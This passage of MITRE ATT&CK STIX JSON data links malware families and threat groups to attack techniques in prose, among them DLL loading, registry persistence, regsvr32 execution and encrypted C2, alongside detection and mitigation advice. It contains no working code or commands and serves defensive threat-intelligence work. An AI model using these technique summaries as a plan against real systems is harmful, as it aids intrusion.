"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--02d4ee3d-adb9-49fc-8e91-3379c508692b", "type": "relationship", "created": "2020-07-24T13:48:49.761Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Gh0stRAT ATT March 2019", "url": "https://cybersecurity.att.com/blogs/labs-research/the-odd-case-of-a-gh0strat-variant", "description": "Quinn, J. (2019, March 25). The odd case of a Gh0stRAT variant. Retrieved July 15, 2020."}], "modified": "2020-07-24T13:48:49.761Z", "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) can load DLLs into memory.(Citation: Gh0stRAT ATT March 2019)", "relationship_type": "uses", "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", "target_ref": "attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--02d6312e-7747-4fb0-b9a4-cb59d9a243f1", "type": "relationship", "created": "2022-03-30T14:26:51.840Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.840Z", "description": "Monitor domain controller logs for replication requests and other unscheduled activity possibly associated with DCSync.(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers may not log replication requests originating from the default domain controller account.(Citation: Harmj0y DCSync Sept 2015)", "source_ref": "x-mitre-data-component--5c6de881-bc70-4070-855a-7a9631a407f7", "target_ref": "attack-pattern--f303a39a-6255-4b89-aecc-18c4d8ca7163", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft DRSR Dec 2017", "description": "Microsoft. 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Retrieved June 13, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Action RAT](https://attack.mitre.org/software/S1028) can use Base64 to decode actor-controlled C2 server communications.(Citation: MalwareBytes SideCopy Dec 2021)", "modified": "2022-08-16T15:45:48.596Z", "relationship_type": "uses", "source_ref": "malware--36801ffb-5c85-4c50-9121-6122e389366d", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--030638ac-8aee-4c3d-9f2a-c6037ab2f5b9", "created": "2022-06-09T15:14:03.255Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Palo Alto Unit 42 OutSteel SaintBot February 2022 ", "url": "https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/", "description": "Unit 42. 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Retrieved June 9, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Ember Bear](https://attack.mitre.org/groups/G1003) has sent spearphishing emails containing malicious attachments in the form of PDFs, Word documents, JavaScript files, and Control Panel File (CPL) executables.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 ) ", "modified": "2022-06-09T15:14:03.255Z", "relationship_type": "uses", "source_ref": "intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9", "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--03070395-3b76-4351-a3bd-0d9eaaa6652c", "type": "relationship", "created": "2021-04-20T22:28:08.225Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MSTIC NOBELIUM Mar 2021", "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", "description": "Nafisi, R., Lelli, A. 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Retrieved March 8, 2021."}], "modified": "2021-04-20T22:28:08.225Z", "description": "[Sibot](https://attack.mitre.org/software/S0589) has queried the registry for proxy server information.(Citation: MSTIC NOBELIUM Mar 2021)", "relationship_type": "uses", "source_ref": "malware--979adb5a-dc30-48f0-9e3d-9a26d866928c", "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--030958f2-615b-4c80-a1ec-38ed335da413", "type": "relationship", "created": "2019-06-28T17:40:32.416Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cyphort EvilBunny Dec 2014", "url": "https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/", "description": "Marschalek, M.. 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Retrieved June 28, 2019."}], "modified": "2019-07-01T18:16:33.147Z", "description": "[EvilBunny](https://attack.mitre.org/software/S0396) has created Registry keys for persistence in <code>[HKLM|HKCU]\\\u2026\\CurrentVersion\\Run</code>.(Citation: Cyphort EvilBunny Dec 2014)\t", "relationship_type": "uses", "source_ref": "malware--a8a778f5-0035-4870-bb25-53dc05029586", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--030d00cc-3e9e-4ca1-ab89-e956127d9023", "type": "relationship", "created": "2022-03-30T14:26:51.867Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.867Z", "description": "Monitor Windows Task Scheduler stores in %systemroot%\\System32\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.", "source_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0318431e-ad44-44c7-97be-686d4efe79f4", "type": "relationship", "created": "2019-02-07T19:13:01.960Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "SecureAuth. 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Retrieved September 10, 2020."}], "modified": "2020-09-11T13:27:44.326Z", "description": "[TrickBot](https://attack.mitre.org/software/S0266) can identify the user and groups the user belongs to on a compromised host.(Citation: Cyberreason Anchor December 2019)", "relationship_type": "uses", "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--03256e99-70fb-4d2d-ac8e-79294aef87dc", "type": "relationship", "created": "2022-03-30T14:26:51.854Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.854Z", "description": "Monitor for contextual data about named pipes on the system.", "source_ref": "x-mitre-data-component--b9a1578e-8653-4103-be23-cb52e0b1816e", "target_ref": "attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0327e5d8-877c-4efe-bedc-9807279d74dc", "type": "relationship", "created": "2021-09-22T15:09:20.252Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CrowdStrike Carbon Spider August 2021", "url": "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/", "description": "Loui, E. and Reynolds, J. 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(2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016."}, {"source_name": "Novetta Blockbuster", "url": "https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf", "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016."}, {"source_name": "Qualys LolZarus", "url": "https://blog.qualys.com/vulnerabilities-threat-research/2022/02/08/lolzarus-lazarus-group-incorporating-lolbins-into-campaigns", "description": "Pradhan, A. (2022, February 8). LolZarus: Lazarus Group Incorporating Lolbins into Campaigns. Retrieved March 22, 2022."}, {"source_name": "McAfee Lazarus Resurfaces Feb 2018", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/", "description": "Sherstobitoff, R. (2018, February 12). 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Retrieved June 13, 2018."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware uses cmd.exe to execute commands on a compromised host.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: McAfee Lazarus Resurfaces Feb 2018)(Citation: US-CERT SHARPKNOT June 2018)(Citation: Qualys LolZarus) A Destover-like variant used by [Lazarus Group](https://attack.mitre.org/groups/G0032) uses a batch file mechanism to delete its binaries from the system.(Citation: McAfee GhostSecret)", "modified": "2022-07-28T18:55:35.995Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--032fb34d-3434-4667-9d5e-6bb9fd6b7d00", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html", "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", "source_name": "FireEye APT32 May 2017"}, {"description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt", "source_name": "Cybereason Oceanlotus May 2017"}, {"url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf", "description": "Dahan, A. (2017). Operation Cobalt Kitty. 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Retrieved January 4, 2018.", "source_name": "Secureworks BRONZE BUTLER Oct 2017"}], "modified": "2019-03-22T19:57:37.205Z", "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) downloads encoded payloads and decodes them on the victim.(Citation: Secureworks BRONZE BUTLER Oct 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--03341b9d-6848-4430-a868-b2bc61b357ba", "type": "relationship", "created": "2020-05-28T13:27:38.673Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 MechaFlounder March 2019", "url": "https://unit42.paloaltonetworks.com/new-python-based-payload-mechaflounder-used-by-chafer/", "description": "Falcone, R. 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Retrieved May 27, 2020."}], "modified": "2020-05-28T13:54:18.982Z", "description": "[MechaFlounder](https://attack.mitre.org/software/S0459) has the ability to send the compromised user's account name and hostname within a URL to C2.(Citation: Unit 42 MechaFlounder March 2019)", "relationship_type": "uses", "source_ref": "malware--dfa03c7d-79ed-4ce2-b9d1-ddc9dbf56ad2", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0335dd7e-1f5e-4068-b680-197de6c0af68", "type": "relationship", "created": "2021-09-22T21:17:32.007Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye SMOKEDHAM June 2021", "url": "https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html", "description": "FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate\u2019s Supply Chain Software Compromise. Retrieved September 22, 2021."}], "modified": "2021-09-22T21:17:32.007Z", "description": "[SMOKEDHAM](https://attack.mitre.org/software/S0649) has encrypted its C2 traffic with RC4.(Citation: FireEye SMOKEDHAM June 2021)", "relationship_type": "uses", "source_ref": "malware--7e0f8b0f-716e-494d-827e-310bd6ed709e", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--0337777c-cfe7-4cfa-b1f0-4000d3c8244b", "created": "2022-08-08T19:04:57.823Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Microsoft POLONIUM June 2022", "url": "https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/", "description": "Microsoft. (2022, June 2). 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Retrieved July 1, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "(Citation: Microsoft POLONIUM June 2022)", "modified": "2022-08-08T19:04:57.823Z", "relationship_type": "uses", "source_ref": "intrusion-set--5f3d0238-d058-44a9-8812-3dd1b6741a8c", "target_ref": "malware--750eb92a-7fdf-451e-9592-1d42357018f1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0337dbde-bc25-47ec-936c-19624d3f0df3", "type": "relationship", "created": "2022-03-30T14:26:51.839Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.839Z", "description": "Monitor for newly constructed files by using the logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application and resource pods to monitor malicious container orchestration job deployments.", "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", "target_ref": "attack-pattern--1126cab1-c700-412f-a510-61f4937bb096", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--033a5e59-ab65-485b-a9c0-775977e8abd0", "type": "relationship", "created": "2019-06-21T17:23:28.006Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Faou, M. and Dumont R.. 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Retrieved June 9, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Saint Bot](https://attack.mitre.org/software/S1018) has used `regsvr32` to execute scripts.(Citation: Malwarebytes Saint Bot April 2021)(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )", "modified": "2022-06-09T20:35:59.233Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--7724581b-06ff-4d2b-b77c-80dc8d53070b", "target_ref": "attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--03732f50-c46c-49f1-bd47-cc56bb96cf23", "type": "relationship", "created": "2020-06-15T20:49:55.553Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Malwarebytes Dyreza November 2015", "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/", "description": "hasherezade. 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(n.d.). The password for the krbtgt account on a domain must be reset at least every 180 days. Retrieved November 5, 2020."}], "modified": "2022-03-08T21:45:02.604Z", "description": "For containing the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it. For each domain, change the KRBTGT account password once, force replication, and then change the password a second time. Consider rotating the KRBTGT account password every 180 days.(Citation: STIG krbtgt reset)", "relationship_type": "mitigates", "source_ref": "course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462", "target_ref": "attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--037e2e7e-5d23-48d6-90e6-796693a0caea", "created": "2022-06-10T16:45:13.245Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "MSTIC DEV-0537 Mar 2022", "description": "MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved May 17, 2022.", "url": "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-12T12:32:38.691Z", "description": "[LAPSUS$](https://attack.mitre.org/groups/G1004) has gathered detailed information of target employees to enhance their social engineering lures.(Citation: MSTIC DEV-0537 Mar 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7", "target_ref": "attack-pattern--5282dd9a-d26d-4e16-88b7-7c0f4553daf4", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0384ef48-ede0-4200-be47-413622f4c690", "type": "relationship", "created": "2020-01-29T18:12:33.728Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-01-29T18:12:33.728Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--a009cb25-4801-4116-9105-80a91cf15c1b", "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--038ef88e-14c6-4db0-a01e-2c33402d9e48", "type": "relationship", "created": "2022-03-30T14:26:51.842Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.842Z", "description": "Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.", "source_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", "target_ref": "attack-pattern--0bda01d5-4c1d-4062-8ee2-6872334383c3", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0390ebec-176f-421a-9823-cce48756aef1", "type": "relationship", "created": "2021-01-22T16:51:10.393Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NCC Group Chimera January 2021", "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."}], "modified": "2021-01-22T16:51:10.393Z", "description": "[Chimera](https://attack.mitre.org/groups/G0114) has used side loading to place malicious DLLs in memory.(Citation: NCC Group Chimera January 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--03927cb1-f80c-4b86-ac8d-f0963141eaa8", "created": "2023-04-14T14:10:26.361Z", "revoked": false, "external_references": [{"source_name": "Dragos Crashoverride 2018", "description": "Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020.", "url": "https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-14T14:10:26.361Z", "description": "During the [2016 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0025), [Sandworm Team](https://attack.mitre.org/groups/G0034) masqueraded executables as `.txt` files.(Citation: Dragos Crashoverride 2018)", "relationship_type": "uses", "source_ref": "campaign--aa73efef-1418-4dbe-b43c-87a498e97234", "target_ref": "attack-pattern--208884f1-7b83-4473-ac22-4e1cf6c41471", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--03927dc7-2ef0-43e4-ad71-94243e29bca4", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET InvisiMole June 2018", "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/"}], "modified": "2020-03-17T00:09:26.398Z", "description": "[InvisiMole](https://attack.mitre.org/software/S0260) uses variations of a simple XOR encryption routine for C&C communications.(Citation: ESET InvisiMole June 2018)", "relationship_type": "uses", "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--039364a9-2afd-4ae5-9df0-08d4e583674f", "type": "relationship", "created": "2019-03-25T15:05:23.669Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html", "source_name": "Talos Olympic Destroyer 2018"}], "modified": "2019-06-30T23:07:54.016Z", "description": "[Olympic Destroyer](https://attack.mitre.org/software/S0365) uses API calls to enumerate the infected system's ARP table.(Citation: Talos Olympic Destroyer 2018)", "relationship_type": "uses", "source_ref": "malware--3249e92a-870b-426d-8790-ba311c1abfb4", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--03981d0c-c7d5-4a65-bd8f-1b1a2c1efe2a", "created": "2023-08-08T19:29:17.546Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-08-23T14:27:47.649Z", "description": "Train users to be aware of impersonation tricks and how to counter them, for example confirming incoming requests through an independent platform like a phone call or in-person, to reduce risk.", "relationship_type": "mitigates", "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", "target_ref": "attack-pattern--c9e0c59e-162e-40a4-b8b1-78fab4329ada", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0399241d-e0ab-4d0f-9028-1e61eb913d75", "type": "relationship", "created": "2022-03-30T14:26:51.840Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.840Z", "description": "Monitor for newly constructed services/daemons that may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. ", "source_ref": "x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705", "target_ref": "attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--03a2f02b-ca0c-4366-8880-6cb6015fd722", "created": "2022-07-08T14:14:43.779Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Microsoft POLONIUM June 2022", "url": "https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/", "description": "Microsoft. (2022, June 2). Exposing POLONIUM activity and infrastructure targeting Israeli organizations. Retrieved July 1, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[CreepySnail](https://attack.mitre.org/software/S1024) can use stolen credentials to authenticate on target networks.(Citation: Microsoft POLONIUM June 2022)", "modified": "2022-07-25T16:18:35.128Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--d23de441-f9cf-4802-b1ff-f588a11a896b", "target_ref": "attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--03a3226b-0b28-49a9-860f-a8c13ffbe00d", "type": "relationship", "created": "2020-03-13T21:03:18.884Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-13T21:03:18.884Z", "relationship_type": "revoked-by", "source_ref": "attack-pattern--04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf", "target_ref": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--03a65a95-b802-49ee-bec1-a65cccec0e89", "type": "relationship", "created": "2019-10-05T02:34:01.287Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "GitHub MailSniper", "url": "https://github.com/dafthack/MailSniper", 